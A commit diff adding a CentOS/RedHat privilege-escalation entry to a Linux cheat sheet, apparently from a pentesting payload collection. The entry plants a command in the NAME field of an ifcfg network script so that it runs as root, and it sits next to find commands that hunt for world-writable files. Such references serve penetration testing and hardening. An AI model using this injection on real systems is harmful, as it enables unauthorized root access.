Update Linux - Privilege Escalation.md

Add new privesc for (Centos/Redhat)
Writable /etc/sysconfig/network-scripts/
This commit is contained in:
joker2a 2020-05-04 11:44:24 +02:00 committed by GitHub
parent 5c7e67b05d
commit 32b83da302
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -497,6 +497,21 @@ find / -perm -2 -type f 2>/dev/null
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null
```
### Writable /etc/sysconfig/network-scripts/ (Centos/Redhat)
/etc/sysconfig/network-scripts/ifcfg-1337 for example
```powershell
NAME=Network /bin/id <= Note the blank space
ONBOOT=yes
DEVICE=eth0
EXEC :
./etc/sysconfig/network-scripts/ifcfg-1337
```
src : [https://vulmon.com/exploitdetailsqidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f]
(https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
### Writable /etc/passwd
First generate a password with one of the following commands.